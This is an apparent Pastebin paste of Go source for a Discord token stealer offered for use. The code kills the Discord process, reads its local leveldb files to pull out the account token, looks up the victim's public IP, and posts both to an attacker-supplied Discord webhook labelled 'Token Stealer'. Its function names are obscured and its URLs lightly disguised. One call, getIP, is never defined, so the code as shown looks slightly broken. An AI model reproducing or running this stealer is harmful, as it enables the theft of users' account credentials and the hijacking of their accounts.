Advertisement
Guest User

Untitled

a guest
Jun 28th, 2020
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.26 KB | None | 0 0
  1. package main
  2. // I am not at all responsible for what you do with this. This was a project that took like an hour to make at the request of one of my friends.
  3. import (
  4. "bytes"
  5. "fmt"
  6. "io/ioutil"
  7. "net/http"
  8. "os"
  9. "os/user"
  10. "path/filepath"
  11. "strings"
  12. "github.com/mitchellh/go-ps"
  13. )
  14.  
  15. var discordDir string
  16. const noToken = "NO_TOKEN_FOUND"
  17. const webhookURL = "YOUR_URL_HERE"
  18.  
  19. func main() {
  20. a()
  21. b()
  22. token := c()
  23. if token == noToken {
  24. e(webhookURL, noToken)
  25. } else {
  26. e(webhookURL, token)
  27. }
  28. }
  29.  
  30. func a() {
  31. usr, err := user.Current()
  32. if err != nil {
  33. panic(err)
  34. }
  35.  
  36. discordDir = usr.HomeDir + "\\AppData\\Roaming\\Discord\\Local Storage\\leveldb\\"
  37. }
  38.  
  39. func d() []string {
  40. files, err := ioutil.ReadDir(discordDir)
  41. if err != nil {
  42. panic(err)
  43. }
  44. var ldbFiles []string
  45. for _, f := range files {
  46. if filepath.Ext(f.Name()) == ".ldb" {
  47. ldbFiles = append(ldbFiles, discordDir + f.Name())
  48. }
  49. }
  50. return ldbFiles
  51. }
  52.  
  53. func b() {
  54. processes, _ := ps.Processes()
  55. for _, p := range processes {
  56. if strings.ToLower(p.Executable()) == "discord.exe" {
  57. pro, _ := os.FindProcess(p.Pid())
  58. pro.Kill()
  59. }
  60. }
  61. }
  62.  
  63. func c() string {
  64. fileString := ""
  65. for _, f := range d() {
  66. b, err := ioutil.ReadFile(f)
  67. if err != nil {
  68. return noToken
  69. }
  70. if strings.Contains(string(b), "oken") {
  71. fileString = string(b)
  72. break
  73. }
  74. }
  75.  
  76. if fileString == "" {
  77. return noToken
  78. }
  79. token := strings.Split(strings.Split(fileString, "oken")[1], "\"")[1]
  80. return token
  81. }
  82.  
  83. func f() string {
  84. response, err := http.Get(strings.ReplaceAll("httpx://api.ipify.org", "x", "s"))
  85. if err != nil {
  86. panic(err)
  87. }
  88. defer response.Body.Close()
  89.  
  90. body, err := ioutil.ReadAll(response.Body)
  91. if err != nil {
  92. panic(err)
  93. }
  94. return string(body)
  95. }
  96.  
  97. func e(webhook, token string) bool {
  98.  
  99. request := "{\"username\": \"Token Stealer\",\"avatar_url\": \"" + strings.ReplaceAll("httpx://regmedia.co.uk/2019/08/15/thief .jpg", "x", "s") + "\",\"embeds\": [{\"description\": \"IP: " + getIP() + "\", \"color\": 16411130}, {\"description\": \"Token: " + token + "\", \"color\": 16411130}]}"
  100.  
  101. resp, err := http.Post(webhook, "application/json", bytes.NewBuffer([]byte(request)))
  102. if err != nil {
  103. return false
  104. }
  105. body, err := ioutil.ReadAll(resp.Body)
  106. defer resp.Body.Close()
  107. if err != nil {
  108. return false
  109. }
  110. return true
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement